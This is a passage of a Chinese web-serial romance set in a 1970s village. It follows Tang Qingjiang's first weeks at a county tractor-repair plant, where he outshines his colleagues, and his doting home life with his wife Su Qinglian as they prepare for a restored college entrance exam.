唐清江微微愣了一下,抬手将人拉到怀里抱着,谁都没有再说热了。 他轻抚着怀里的人, 温声道:“我白天去农修厂上班, 晚上就回来, 你一个人在家, 如果跟唐年或者谁吵架了,回来再跟我说。” “哼, 谁还跟他吵架,反正现在都分家了, 你去上班之后,我就接着下地上工呗,不过,我就只能挣四五个工分,你现在当工人了,也不许嫌弃我啊……”苏青莲双手紧紧抱着唐清江的脖子,在他怀里哼哼唧唧。 唐清江轻笑,捏捏她的脸:“不嫌弃你,不过你不用下地,还有其他事要干。” 苏青莲立刻双眼亮晶晶地看向他,信誓旦旦道:“有什么事,你尽管交代我,保证完成任务。” 唐清江冷漠的嗓音从头顶传来:“学习。” “啊……”苏青莲微懵。 唐清江继续问道:“我记得你初中毕业了吧?” “对啊……”苏青莲点点头,得意道:“哼,你别看我整天骂人,我读书的时候成绩可好了呢,一直到初中毕业那会,还每次都考全校第一。” 唐清江点头:“那更好,捡起来更轻松。” 苏青莲想了想,仰脸看着他:“怎么好好说起学习了?你难不成还想让我继续去读个中专之类的吗?” “不是中专,是大学。”唐清江郑重道。 “大学?”苏青莲瞪圆了眼睛。 苏青莲想说,老公,你是不是太高看我了?但转念一想自己考大学好像也是很简单的事情吧。 明明应该很难,但她就是觉得对自己来说应该很简单。 好奇怪。 第514章 是个好哄的小笨蛋 唐清江看她跟个小猫似的,忍不住又捏了她的脸颊肉,还低头在她脸上亲了亲。 “唔……”苏青莲立刻积极地亲回去,还轻轻咬了他一口。 唐清江将灶里的火给拨灭,带着黏在身上的小黏糕一块站起身,去前面看了看锅里的情况。 四月的乡下,又是这个年代,并没有什么好东西吃的。 饭菜都是一锅出,主食是杂粮饭,饭上放了用一点点油盐拌过的野菜,这还是唐清江想着法尽量把口味往好了烧。 他一边将饭菜拌在一块,一边对着身边人随口胡编道:“我昨天不小心听到林盛路和唐年说话,林盛路家里好像是京城当官的,他接到家里的来信说,上面正在商量决定恢复高考,就在这一两年。” 苏青莲猛地抬起头,震惊道:“老公,你说真的……” “嗯。”唐清江轻点头,同时伸手示意苏青莲拿三个碗过来。 “那太好了。”苏青莲伸长着手臂,从橱柜里取下碗洗了洗,递给唐清江,轻笑道:“所以,你是希望我现在好好学习,将来去考大学?” “嗯。”唐清江点头,又沉声补充道:“不止你,我也要考,你白天在家带着阿愿学,等我下班回家之后,就来教我,等去县城的时候,我会尽量多找点相关的书本回来。” 其实,那些知识对唐清江来说,实在简单。 不过表面上,他还只是个初中都没读过的乡下人。 “好。老公,我一定会努力的。”苏青莲神采飞扬地一拍手掌,自觉如今已然身负重任。 唐清江将锅里的菜饭分到两个碗里,捏了捏小妻子的脸蛋:“好了,该吃饭了。” “嗯。”苏青莲‘唰’地端着碗,开心地跑在前面。 整个人精神十足,一点儿也没有了刚刚的伤春悲秋痴缠劲儿。 唐清江眯了眯眼。 真是个好哄的小笨蛋! 到了星期一那天,唐清江便按计划去农修厂报道了。 唐家村到县城有近三十里路,若是只靠双脚,连走带跑一趟至少就得两三个小时,每天来回太磨人。 不过队长唐玉树向来助人为乐,早早预料到他的困境,主动将自家的自行车借给了他。 唐清江也确实需要,便没有多加推辞,只能想着日后好好回报。 如今是计划经济时期,工人严格实行八小时工作制。 农修厂自然也是如此,早上九点上班,下午五点下班。 因为是第一天,唐清江还特地去得早了点,骑着自行车到达那一片厂区附近时,沿途擦肩而过的也都是跟他一般的工人,个个神采飞扬,精神朝气十足,一心为社会主义建设而努力奋斗。 唐清江将车锁在农修厂院子的一角,那边还停了不少其他人的自行车。 接着,他先去了人事报道,这次是要把粮食关系转过来,以后他的工资、粮食等等,就不从唐家村生产队那边走,而是归属农修厂管理了。 人事办公室桌后坐的工作人员,还是那天的高傲女士。 她一眼看见唐清江,显然有些印象,直接问道:“是来转粮食关系的?” 唐清江点头:“对。” 说着,便把大队开的证明递了过去,这需要双方盖章存档。 人事接过证明,仔细确认了一下没什么问题,便放到了一边。 她抬头继续道:“农修厂的待遇很好,每个月一号发工资,你是正式工人,每个月工资是三十块钱,另外还有32斤粮食、1斤油的补贴,至于其他的票,这要看厂里当月的情况,大概就是布票、糖票、肉票这三种,可能也会有其他的。” 唐清江点点头,这福利还是很好的,尤其是1斤油的补贴,在唐家村,每年年底结算工分和粮食的时候,每人一年才能分到两、三斤油。 现在,他一个月1斤,一年就是十二斤。 苏青莲其实挺喜欢吃炒菜的,这下每个月都可以吃个好几次了。 最后,这位人事又给他指了一下:“你被分在董科长的发动机科,就在最后那排的高房子,上面挂了牌子,你去了就知道。” 唐清江点头道谢。 等他从人事办公室离开的时候,农修厂大院里已经到处都是人了,大家脚步匆匆,不少人甚至手上还拿着个饼子什么的在啃。 不过,在路过唐清江身边时,都下意识打量了几眼,全因为唐清江这长相气势着实招人眼。 唐清江按照人事的指示,朝着发动机科所在走过去。 刚靠近那一排高房子,便能闻到浓烈的柴油味道,还有不断传来的各种机器开动声音。 他抬头看了眼挂着‘发动机’三个字门牌的大房间,轻轻敲了敲敞开的木门。 此刻,广阔的大办公室里也才坐了一个大约二十来岁的青年,听着动静便看了过来。 唐清江主动介绍道:“同志你好,我是唐清江,今天新来发动机科报道的。” 那青年眨了眨眼,反应一会,就立刻站起来笑道:“唐清江同志……哎,是你啊,上礼拜我就听我们科长说了要来新人……” 边说着,他边朝靠近角落的一个办公桌指了指:“你的座位和文具都早早安排好了呢,就在这,你先坐一会,科长他们待会就来了。” “好,多谢。”唐清江朝着那位置走了过去。 “不客气,为人民服务,向雷锋学习。”那青年十分热情,又继续道:“对了,我叫张俊。” 唐清江跟他握手:“你好,张俊同志。” 张俊原本正在吃早餐,安排好唐清江后,又坐了回去继续吃,边吃边好奇地看着他问道:“唐清江同志,听说你考进来时,笔试和实测都是满分,科长还特地跑去人事部要人了。” 唐清江翻着办公桌上摆的农修厂宣传手册,随口答道:“或许。” 张俊十分兴奋道:“那就是真的咯,唐清江同志,你真的很了不起啊,科长在工作上可是很严厉的。” “过奖。”唐清江嗓音淡淡。 第515章 到底谁才是新人了? 经过这简短的交流之后,张俊显然也发现,这位新同事并不是个爱说话的人。 不过,他自己却天生是个话痨,完全未被唐清江的冷淡逼退,甚至更感兴趣得问了他一些乱七八糟的东西。 而唐清江也依然大都是两三个字的简短回答。 一直到后来,张俊随口说起了一些关于他们发动机科的情况。 唐清江这才话多了几分,从他嘴里套出不少关于发动机科的日常情况和工作方向,甚至一些同事的为人品行,性格爱好。 而张俊也渐渐发现,眼前这人不愧是科长主动要过来的,就刚刚这短短的言谈之间,唐清江便展现出了难以想象的广博见识和思想。 甚至,其中不少有关拖拉机和机械方面的知识,自己这个老员工都不知道。 于是,他干脆把自己在平日工作中,遇到的一些问题拿出来询问。 唐清江也不藏着掖着,三言两语便给他指出了一些关键,甚至还当场解答了数个问题。 到最后,张俊都震惊了,他们两个到底谁才是新人了? 而这时,办公室的人也差不多来齐了。 巧合的是,周出也被分到了发动机科,一看到唐清江就激动地不行,立刻凑了上去。 张俊和周出性格颇像,很快这两人便借着唐清江熟悉起来,一齐叽叽喳喳,将唐清江吵得脑袋发晕。 董科长从外面走了进来。 一眼看到张俊等人和唐清江相谈甚欢的模样,倒是有些惊奇:“唐清江啊,你小子两次见面,对我总是冷着张脸,跟他们相处地倒是融洽。” 众人齐齐抬头,叫道:“科长。” “大家继续工作就是,”董科长摆摆手,又看向张俊道:“既然你和他们相处地不错,这两个新人就暂时由你来带,你也来我们科工作两年了,组织上相信你,要好好干啊。” “是。”张俊立刻涨红了脸,激动地应道。 这个时候,这种话就是最激励人的。 尤其,董科长在他们农修厂那是鼎鼎有名的技术人才,被他肯定那就是最大的赞誉。 等董科长进了他自己的办公室后。 张俊就兴奋地招呼唐清江和周出出去,三人出了办公室门口,往右走了几步便到走廊尽头,尽头处是一个双开的大门。 刚刚唐清江过来时,也看到了这处,但那时大门还是锁着的,此刻却已然大开。 因此,也清晰地看清了里面的情况,很显然,这是个巨大的工作车间。 地面上停着数辆半拆的拖拉机,而一边长长的工作台上,则摆放着各种配件、零件,当然,主要是发动机和内燃机,这本就是他们科的车间。 张俊带着他们往里走,边道:“咱们因为是发动机科,发动机很多零件比较细致,所以大家就都配了个办公桌,但我们毕竟还是技术工人,不是那些坐办公室的文员,所以更多的时间还是呆在车间里,有时候可能还要下去各个大队,帮老乡们修理拖拉机这些。” 唐清江点点头,目光平静。 不过,一旁的周出心思却已经全然不在这里,目光全程紧紧盯着那些发动机。 张俊笑了笑,倒不介意,对于这种心情,他也曾有过。 “科长居然让你带新人,不知道他怎么想的?” 就在这时,一道不善的嗓音传来。 唐清江等人抬头一看,却是一个身材消瘦、穿着体面的年轻人。 张俊一看见这人,便厌恶地蹙了蹙眉:“带新人的是我,关你什么事,汪旭?你不会是嫉妒科长看中我吧?” 那叫汪旭的年轻人立刻变了面色,冷笑道:“你自己都是个废物,还想带新人,别耽误了别人才是。” 说完,他便直接转身离开了。 张俊蹙眉看着他的背影片刻,又转头对唐清江两人道:“你们不用理他。” “嗯。”唐清江神情始终冷漠。 “好的。”周出则自来是个会做人的。 很快,张俊带着他们走到了车间中间的一处工作台前。 “小张啊,来了,那里有三个拖拉机等着保养呢,还有一个那发动机一开,就温度高得吓人,可能要拆下来修一下,抓紧啊,不要耽误了老乡们的事。”旁边一个中年人道。 张俊急忙应声:“好的,组长,今天科里来了两个新人,科长安排我带带他们。” “行,那你忙吧!”组长点点头,又去别的工作台看情况了。 张俊转头看着唐清江两人道:“刚你们听到组长的话了,这里正好有现成的活计,拖拉机就是发动机最精贵,所以平常的保养,除了轮胎之外,一般就是发动机的保养,也是咱们科最日常的活计,你们都是考进来的,对这肯定都有些了解了,等下我会仔细做一遍保养,你们两都要用心注意着。” “好。”唐清江和周出齐齐点头。 认真做事的时间过得极快。 很快便到了中午,三台拖拉机都保养地差不多了,那台要修的拖拉机发动机也正在拆。 张俊道:“你们两都带了饭盒吧,跟我去食堂吃饭去,咱们农修厂食堂师傅的手艺可真是那个,不比国营饭店的差。” 说着,他比了个大拇指。 三人出了车间,跟其他科室、车间的人汇成一道人流,往着食堂方向走去。 食堂一共四个窗口,他们来得算比较早,很快就轮到了,一回头看后面已经排了长长的队伍。 张俊垫着脚看见窗口里摆着的大盆,颇为惊喜:“今天有烙油饼啊,快快,给我来四个。” 烙油饼这种东西,香是香,但特别费油,一般人家一年的油票才那么点儿,除了年节,是根本不敢做这种吃食的。 但在农修厂食堂里,烙油饼却跟馒头、米饭一样,只要粮票就行了。 所以一旦哪天做了,那就是供不应求。 不过,为防止有人太过分,食堂也规定,一人最多只能买四块。 轮到唐清江时,他也买了四块油饼,但还另外买了三个杂面馒头和一样炖菜。 不知道是不是看脸,那阿姨给他的炖菜,明显比其他人冒了一个尖。 第516章 我又不是小宝宝 三人捧着饭盒,找了个位置坐。 张俊和周出十分迫不及待,刚一坐下便一口油饼一口炖菜的吃了起来,表情快活地几乎要升仙。 而旁边那些来晚了点,没买到油饼的人,看着这两的目光,简直羡慕嫉妒恨了。 一直满足地吃完了四块,周出才有心情看向唐清江。 不看不知道,一看便好奇道:“你只吃了一块就不吃啦?剩下的要不然卖给我吧!” 唐清江抬眸看他一眼,冷声道:“剩下的要带回去。” “哦……”周出点点头,颇为感慨道:“带给你媳妇是吧,大哥,你可真是个好男人,幸好我还没那么早结婚。” 张俊听他们的对话,随口道:“你还认识清江同志的媳妇?” 周出:“嗯,他媳妇以前是我们那一片最漂亮的。” 周出也是个聪明的,绝口不提苏青莲家成分问题。 张俊看一眼唐清江,笑道:“清江同志也长得英俊,大婶给他炖菜都打得比我们多,刚好相配地很。” 说着,几人都笑了起来。 吃完饭后,三人回到办公室休息了会。 唐清江则趁机从张俊那打听到,农修厂里还有个小图书室,里面有很多关于拖拉机和机械方面的相关书籍、杂志,农修厂的员工都可以凭借工作证借阅浏览。 听了这话,他便直接起身出门去借书去了。 今天在车间呆了一上午,看清了这个农修厂和发动机科目前的现状,他大约知道接下来需要做些什么了。 周出看着他抱了五六本书回来,忍不住感慨:“怪不得你当初考那么好,光这勤奋劲,就比我不知强了多少。” 张俊也在一旁连连点头。 很快,又到了下午上工时间。 这下,工作却不如上午顺利了。 问题出在那一个需要维修的拖拉机上,之前按照组长说的发动机温度过高,张俊就将发动机拆了下来,原本以为只是和之前一样,是什么零件磨损了,或者是油箱结垢了。 但是,从下午上工开始,一直折腾到现在,已经两三个小时过去,整个发动机都快被张俊一寸一寸摸索过去,却还是没能找到问题出在哪里? 唐清江眼看到张俊额上的汗都流下来了。 张俊终于擦了擦手上的机油,颇为烦恼道:“还是没检查出原因,恐怕要去请其他组的前辈来帮忙了。” 本来他早就该去找的,但今天是科长第一次安排他带新人,结果他就遇到问题解决不了,这也太让人失望了。 尤其,先前上午的时候,还被死敌给嘲讽过,这让他最是难受。 唐清江瞥他一眼,又盯着那发动机看了一会,突然出声道:“我好像在中午刚看的书上,见过这个故障现象,不知道用书上面的办法能不能解决?” 张俊当即抬头,震惊地看了他一眼:“你真的看到了?” 唐清江点头:“嗯。” 看着他那坚定模样,张俊有些犹豫地道:“那要不然,你来说,我来修理试试?” 现在这年代有话说:教会徒弟,饿死师傅。 大部分人都有一点自己的压箱底活,尤其是他们这种搞手艺技术的。 张俊尴尬地解释道:“主要这是你第一天上工,就直接上手拆发动机这么精细的活,万一弄坏了……” 唐清江没等他把话说完,便主动点头道:“嗯,张俊同志考虑地很周全,我把书上写得说出来,你看看是否行得通。” 张俊连忙点头:“好。” 半晌。 张俊听完唐清江的话,狠狠一叹气:“我真是死脑子,也对,光听着发动机温度高,便把发动机拆了个零碎,在上面死磕,去没想到其实是堵塞的问题,时间一长,也会导致这结果……” 他看向唐清江笑道:“还是多读书好,下回我也要去借书看看。” 唐清江点头:“本该如此。” 大约二十分钟之后,张俊把发动机零件重新装上,又按照唐清江说得,去处理了相应地方。 之后,把发动机装在拖拉机上,打着了火,“突突突……”一下子,拖拉机重新启动,而过了许久,发动机上的温度也一直保持在正常范围内。 “太好了。”三人都是一喜。 不远处,董科长也看着这边,也满意地点了点头:“这小子,愿意读书,却不是死读书啊,真不错。” 到了五点钟,外面有人敲响了铃声。 车间里几乎是一瞬间,所有人都失去了踪影。 不管什么年代,下班和放学始终是大家最积极的事。 唐清江骑上自行车往唐家村赶去。 进入村道范围时,刚过了六点,此时已经是初夏,所以,天色还是亮的。 远远地,他就看到一团成了圆球样的人,在村口的大树下蹲着。 他轻笑着,抬手拨了拨车铃。 果然,下一刻,那团球就利索地蹦了起来,朝着他自行车的方向冲过来。 唐清江停下自行车,一脚撑地,一手臂张开,于是,那球就直接冲进了他怀里。 苏青莲脸埋在他胸口,狠狠蹭了几下,撒娇道:“老公,我今天好想你的。” 唐清江轻抚着她的背脊,垂首在她头顶轻轻吻了一下:“我也想你,还给你带了好吃的。” 苏青莲哼哼唧唧:“我又不是小宝宝。” 唐清江手臂搂着人的细腰,微一用力,苏青莲整个人便被他给抱了起来。 再下一刻,苏青莲就发现自己已经斜坐在了自行车前的大杠上,整个人圈在唐清江的怀抱和车龙头之间。 苏青莲身心温软,又微微害羞。 一般只有小孩子,才会这样坐得。 刚好这时,唐清江在她耳边低声道:“就是小宝宝,你看,刚好坐得下,一只手就能抱起来。” 苏青莲彻底脸红了,脑袋也晕晕乎乎,除了缩在唐清江怀里,什么也做不了。 “好,该走了,带小宝宝回家!”说完,唐清江就踩起了脚踏,清周周一响,自行车一溜烟往前窜去。 夕阳下,两人一车的背影,在村道上倒映地极长。 …… 第517章 想他想的吃不下饭 唐清江和苏青莲两人到家时, 唐武的媳妇刚好端了饭菜从厨房出来,看到他们便道:“刚好,灶里的火还有点星子, 你们直接可以用了。” “好,谢谢弟妹。”苏青莲从车上跳下来。 摇摇头笑道:“谢啥?” 自从分家之后,她的精神便比以前好了不少。 虽然分家的时候,除了按照人头的定额粮食, 还有这暂住的房间, 唐母一毛钱也没给他们两家。 不过,从今以后, 他们挣得工分、工资就都是自己的了, 总能慢慢攒起来。 反正总比挤在一起时, 自己吃糠咽菜,还要不断贴补唐年好。 两人进了厨房后,唐清江去后面的灶重新拨了拨火堆, 苏青莲拿瓢往锅里加水, 一边兴奋地伸头问道:“老公,今晚我们要吃什么?” 唐清江想了想,抬头道:“吃疙瘩汤。” 苏青莲眸子一亮:“疙瘩汤好,刚好今天队里让我们摘了菠菜, 绿油油的, 可新鲜了, 待会下到汤里面去。” 唐清江看着他高兴的模样, 起身走到厨房角落的橱柜前,用钥匙打开了橱门。 因为厨房公用的缘故, 为了避免发生什么不必要的争执矛盾,三家的粮食都是锁在各自的一层橱柜里, 每餐烧饭的时候,才会适量取出来一点。 唐清江解开那装面粉口袋的绳子,往碗里倒了些许出来。 这时候的面粉不是白色,而是褐色的,因为加了麸皮一起磨进来,口感较为粗粝,不过已经足够珍贵,生产队每人一年也只能分到一两袋而已。 只是,唐清江将面粉口袋重新放回去的时候,余光也瞥到了一旁放米粮的小袋子。 当即,眉头微蹙。 “苏青莲,过来!” 一道冰冷的男声传来。 正在灶边烧水的苏青莲不自觉抖了抖身体,慢慢转身抬眸,怂哒哒地看了过去。 她老公怎么了,怎么突然这么凶? 然而,等她看到唐清江手上拿着的东西时,脸上立刻露出个心虚讨好的笑,两条腿慢慢地踱了过去。 整个人像是牛皮糖似的黏在唐清江身上蹭啊蹭的,面上却在装傻,一脸天真地问道:“老公,怎么了这是……” 唐清江大手捏着他的下巴,目光冷冽:“不许撒娇,中午为什么没吃饭?这绳结还是我早上打的模样。” 唐愿吃的不多,且今天队长家的孩子生日,让唐愿去队长家吃午餐了,所以苏青莲自己根本不愿意开火,加上唐清江不在家,更没胃口了。 “……”听到唐清江的话苏青莲无语。 为什么你要去记住一个绳结的模样? 不过,这会儿,只能满目忏悔的尴尬笑着。 唐清江却显然不吃她这套,手上微微加大了几分力量,冷声道:“说话。” 哼。 苏青莲不免有些懊恼,更不自觉有些委屈。 苏青莲鼓着脸颊哼哼唧唧道:“我一个人在家,老是想着你,哪有心情吃东西,吃什么都无所谓了,而且……我其实也煮了一个土豆吃了。” 说着,她还慢慢有点理直气壮起来。 “……”唐清江。 这么一看,还成自己的错了。 如果是在21世纪,他就可以去论坛发个帖,“妻子太爱我怎么办?一旦去上班就茶饭不思,消得人憔悴。” 不过,现在是七十年代。 大部分人的营养都不够,苏青莲更是本身十分消瘦,所以,饭必须按时吃。 唐清江垂眸盯着眼前人,脸色依旧冷峻无比。 苏青莲也在目不转睛看着他,然后,慢吞吞伸出两根细白的食指,分别点在了唐清江的两侧嘴角,轻轻往上一提,讨好般道:“老公,我知道错了,你笑一个嘛!” 说着还故意踮起脚尖,在唐清江的脸上和唇上亲了好几下。 “……”唐清江。 奸诈的小妻子。 这还怎么继续生气。 这么想着,唐清江也干脆低头,在那会说出甜蜜话语的殷红嘴唇上轻轻舔咬了几口,嗓音低沉:“下不为例。” “嗯嗯,好的……我知道了。”苏青莲一脸灿烂笑容,拖长了声音甜蜜蜜应道。 两人短暂的争论结束,黏黏糊糊又恢复如初。 唐清江从锅里舀了点热水出来,加到装了面粉的碗里,用筷子慢慢搅成一个个的絮状小碎疙瘩。 等水烧开之后,就将小疙瘩倒进锅里,让他们滑散开来。 很快,疙瘩就一个个浮了起来,熟的极快,唐清江再加入一点盐和油花调味,又将苏青莲刚刚洗好的菠菜扔了进去。 “好了,可以吃了。”苏青莲伸着脑袋看锅里,十分兴奋道。 唐清江瞥他一眼,淡淡道:“饿了?” “没有。”苏青莲想到刚刚的事,坚决否认。 然后,清晰的一道‘咕噜’声就从他的肚皮上传了出来。 “咳咳……啊啊……”苏青莲立刻故意咳了起来,想掩盖那叫人尴尬的动静。 唐清江伸手捏了捏她温软的脸颊肉,冷声道:“果真还是个宝宝,连吃饭都还要人看着。” “唔……”苏青莲又甜蜜,又微微害羞。 她老公怎么把这种称呼,也能说得这么自然啊,不过她喜欢,她就是喜欢有人宠着自己。 唐清江将疙瘩汤盛起来,分到两个碗里。 苏青莲准备继续加点水到锅里温着,待会可以洗碗。 唐清江感觉制止:“等一下,再热个东西。” 说着,他将带回来的饭盒打开。 苏青莲看着饭盒里的东西:“这是葱油饼,你从食堂带回来的?” 唐清江点头:“说了给你带好吃的。” 苏青莲抬头看着人,微微蹙起漂亮的眉毛:“怎么还剩这么多,你中午没吃吗?” 唐清江捏捏他的鼻子,故意冷着脸道:“当然吃了,这是剩下的,你以为我会像你那么笨?” 苏青莲听出他在讽刺自己,也故意气呼呼道:“哼,果然,只有我单方面可怜巴巴地想着你,想得吃不下饭,你一点也不想我。” “……” 唐清江的手指立刻从捏鼻子改成捏脸。 小妻子真是个指鹿为马的好手。 第518章 他过目不忘 葱油饼虽然已经凉了,但是上面本身油足,在铁锅上随便贴了几下,特有的面粉葱花焦香味便飘了出来。 苏青莲幸福地吸了吸鼻子,也顾不得烫,便飞快拿起一块,先递到唐清江嘴边。 唐清江看着小妻子献宝似的模样,心脏微软,随意咬了一口便道:“你吃吧,我中午吃够了,油太多,有些腻。” “真的?”苏青莲歪着小脑袋,睁圆了眼睛,似信非信地盯着他。 唐清江伸手把她的脑袋掰正,冷声道:“吃你的去。” 说完,便端起两大碗疙瘩汤往外走去。 苏青莲看着唐清江的背影,“嘿嘿”笑了出来,第一次在她老公身上看出些落荒而逃的意思。 不过,这却是因为爱她。 苏青莲心里仿佛喝了蜜一般,而且满得要溢出来。 唐家本身就没多大,葱油饼的香味又霸道,几乎是出锅的同时,一个院子里的人就全都闻到了香味,忍不住吸了吸鼻子。 而这会,唐母和唐年也正在吃晚饭,再低头看着自己碗里的清汤剐水,当即就觉得什么胃口也没了。 唐母更是直接冷冷道:“这才上班第一天呢,就敢这么折腾了。以前老大也不是这样的性子。” 唐年没有说话,眸子里却全然都是愤恨。 自打之前,他投机倒把的事被唐清江当着唐家人的面揭穿之后,唐母虽然在他的洗脑之下,已经渐渐对这事没什么看法了。 但林盛路却偏偏不愿意再冒险了。 林盛路总觉得唐清江不是个善茬,怕这事会被当做将来要挟他的把柄。 因为他最近确实接到了京里的信,说上面正在有意平反,甚至可能会让一批下乡的人重新回京,他外祖家里还有些势力,也正在帮他争取机会。 越是如此,他最近的表现就越要好,不能留下什么道德瑕疵和污点。 想要回京,除了那边使大力,也还需要本地生产队和政府开证明,因此,千万不能冒险。 而且,之后等回了京,也可避免此地之事成为阻挡他一路青云的绊脚石。 林盛路也答应,将来回京之时,一定会把唐年一起带上。 如此一来,唐年对投机倒把之事也暂时放下了心思。 但是现在,看着唐清江和苏青莲这两个罪魁祸首的日子过得那么快活,比自己舒服百倍,他心里就十分地不平衡了。 唐年微微咬唇,心想待会还是去找林盛路说一下,不能再这么下去了。 …… 唐愿人小胃口小,只吃了小半块葱油饼就饱了,唐清江给她泡了麦乳精抱着小朋友讲了个故事哄她睡了。 这会儿唐清江和苏青莲两人点着蜡烛,靠在一起聊天。 其实,唐家村并不偏僻,几年前便已经通了电,但是电费很贵,到了晚上,一般除了必要,大家还是以蜡烛为主。 唐清江倒是不在乎那点电费,但是现在一家人虽然分了家,电表还没分开,到时候电费争执起来麻烦的很。 想到这,唐清江眯了眯眼,看来还是要找机会出去住。 最好是把苏青莲一起带进城,这样也能时时看着她,避免她在家胡天胡地,饭都不好好吃。 苏青莲在自家老公硬邦邦的胸膛上蹭了蹭,仰头看他面无表情的脸,好奇问道:“老公,你在想什么?” “厂里的事。”唐清江随口应了一句,又低下头问苏青莲:“今天在家,你都做了什么?有听话学习了吗?” “……”苏青莲。 怎么莫名有种被学校老师盯住的感觉。 “当然学了。”苏青莲灿烂一笑,站起身去了窗前的桌旁,将上面摆的两本书拿了过来。 “这是我当初被赶到乡下来时特意带的,今天一直在看这个。”她把自己藏着的书拿出来,献宝似的。 借着蜡烛的光,唐清江看清那分别是初三的数学和语文书,点头赞许道:“很聪明。” 苏青莲脸上笑容更深。 不过很快,她又手撑着下巴,有些苦恼道:“好几年没看书了,今天这么一看,发现好多数学公式、还有一些诗词文章都忘记了。” 唐清江手摸着她的脸颊,随意安慰道:“没事,反正比我懂得多,我现在才是个小学毕业的学历。” 唐大佬胡扯鬼话,那是张口就来。 “……”苏青莲看了自家老公一眼。 就你这个理直气壮的气势,真是一点都看不出来才小学毕业。 人家京城的大学教授,只怕都比不上你。 唐清江捏捏她的脸颊:“看什么?” 苏青莲摇摇头,亲密地抱着他的胳膊,干劲十足道:“没关系,老公,你是小学生也没关系,我一定会好好学习,然后教你的。” 一想到要给自家老公这么冷冰冰、一本正经的人当老师上课,苏青莲就无端有种特别的刺激感。 “嗯,我们现在就开始吧!” 苏青莲同学瞬间化身兢兢业业地小老师。 不过,很快。 苏青莲同学就怀疑人生了。 她抬眸,艰难地问道:“老公,你……是不是过目不忘?” 唐清江眯了眯眼,坚决摇头,很天真地问道:“过目不忘是什么,不过我从小记性确实比较好,一般不管什么东西,基本只要读一遍看一遍,就能记住了。” 苏青莲定定看着眼前人,忍不住满目惋惜。 半晌,她才疑惑又迷茫地问道:“那你当初为什么不去读初中、高中啊?” 就唐清江这智商,要是按部就班读下去,现在就算不能成为一个什么大科学家,至少一个大工程师是肯定的吧…… 唐清江看出她的心思,随口解释道:“初中学费一学期要四块多,而且还要伙食费,我和老二加起来,一年至少要四五十块钱,但是回家下地干活的话,我们两每人都不止赚四五十块钱,而且赚的钱,还能让唐年上学。” 苏青莲什么都明白了,当即气得发抖。 像唐年那样的混子凭什么啊!居然抢走了他老公这种绝世天才的读书机会。 唐母也实在是太偏心了。 第519章 当然是听苏老师的 唐清江看人情绪太过激动,赶紧又将人搂到怀里安慰道:“没事,我刚听你说的这些东西,其实还挺简单,大概我之后就能直接考上大学了,初中高中读不读也无所谓。” “……”苏青莲。 他真的好自信哦。 虽然好像,也确实有这个实力。 唐清江垂首亲着小妻子可爱的发顶,一边继续淡声道:“而且,我之前要是一直都在读书的话,岂不是遇不上你了。” 苏青莲立刻狠狠点头。 这确实是个关键。 她伸出双手,细细的手腕紧紧搂住自家老公的脖子,挂在身上撕都撕不下来的那种,一边在人身上轻轻蹭着,一边嘴中黏黏糊糊道:“老公,我们要一直在一起,将来还要一起去上大学。” 她是真会撒娇。 唐清江一把将人抱了起来往床边走去,脑袋微低凑近苏青莲耳边,嗓音低沉磁性:“我当然是听苏老师的。” “……”苏青莲耳垂通红。 怎么好好的,还真叫他老师了,有点羞耻。 不过,事实证明,苏青莲还是太年轻,这会儿叫老师算什么羞耻。 之后,在床上时,动情之时,突然叫几声,说些什么,才真是让人羞耻地全身通红。 …… 之后的日子,唐清江依旧按时去县城农修厂上班。 而原本自诩为老员工的张俊,在带了唐清江和周出几日之后,便觉自己实在太难了。 当然,并不是两人多么难带,而是深受打击。 这打击自然是来自唐清江的。 之前,因为有感唐清江帮他解决了个大问题,所以第二天上班时,张俊便尝试着让唐清江亲自上手维修了一次发动机。 这其实是很罕见的事,在农修厂,一般新员工到岗,至少是要打杂几个月起的,就算上手,也是从保养擦洗这些上面开始。 但唐清江自然不是常人。 而也正是因为这次尝试,让张俊彻底见识到了他的实力,那技术、那脑子、那手稳的,真是比多年的老员工也不差了。 故此,接下来不到一个的星期时间内,张俊也感觉自己完全被掏空了,当然是精神层面的。 不仅他这两年在农修厂所学会、所知道的东西,全都被唐清江继承去了,而且唐清江还比他做得更好更细致,眼光也比他看得更全更远。 原本安排张俊一个人做的活,这下变成了两个人来干,而且唐清江效率还比他更高。 于是,怪异的事就这么发生了。 之后一段时间,张俊更多的时间都是在教导周出,他们这一组大部分的维修活计,反而还都是唐清江单独在干,尤其是那些比较费力气费精神的。 而他这一组的工作效率,也成了发动机科几组内最高的。 张俊的死对头汪旭,为此,还不止一次来冷嘲热讽过他,认为张俊是不是在糊弄任务,否则怎么可能会比他更快。 不过,在这样一段时间之后,厂里却也慢慢清闲了下来。 他们县十几个公社,共有两百多台拖拉机。 但是大部分情况下,拖拉机出的都是小问题,下面公社自己的技术人员就能解决了,要送到他们县城农修厂,或者是让他们下乡的情况并不算多。 因此,春季农忙时节一过,维修的活计自然而然便少了。 只是,唐清江却依然忙碌。 要不然就是一身油味的在那些废弃拖拉机和零件堆里打转,要不然就是坐在办公桌前看各种各样的机械相关书籍,偶尔,还会拿着笔在笔记本上写些什么。 最开始,看他这么努力,张俊和周出也想跟着学的。 不过,机械相关的书实在太枯燥了,没两天,那两人就扛不住了,重新回到自己的节奏去。 这一日,唐清江终于迎来了自己的第一次发工资。 除了原定的三十块钱工资,以及粮食、油票补贴外,还有两斤的肉票。 此外,还有一个好消息,那就是他们这三人小组,因为前一个月表现优异,被评为了先进小组。 不仅发了奖状,还有物质奖励,是五块钱和一丈五的布票,布票足够成年人做两件衣服了。 这天中午,大概是知道发了工资,大家手上都比较宽松,所以食堂的伙食也极好,不仅有回锅肉,还有肉包子。 唐清江两样都买了不少,当然,这是准备带回家去的。 于是,晚间打开饭盒时,饶是苏青莲已经习惯唐清江每天都带些好菜回来,但也被今日的丰富伙食所震惊。 “今天你们食堂菜这么好?” 唐清江点头:“今天发工资。” 说着,便把身上的钱和票证都掏了出来,交给苏青莲。 苏青莲一把接过,抱着人笑嘻嘻地讨巧卖乖道:“老公,我会每天按量发给你的。” 唐清江挑眉覻她一眼,淡淡道:“苏老师的安排自然有道理。” “……”苏青莲脸蛋微红。 怎么青天白日的,就叫他老师了,又在故意欺负她了。 回锅肉这种东西,就是越回锅越香,尤其是是其中的豆酱和大蒜味道最强大,不仅唐家人,隔壁几家都能闻到。 苏青莲又将那几个肉包子在杂粮粥上面蒸了蒸,味道同样香甜无比。 虽然自从唐清江去农修厂后,几乎每天傍晚这个时候,唐家都会飘出各种食物香气,但是今天这个味道实在太霸道,弥漫在院子里久久不散,直戳心灵。 对此,第一个炸的居然不是向来爱骂人的唐母,而是维持着一副人上人姿态的唐年。 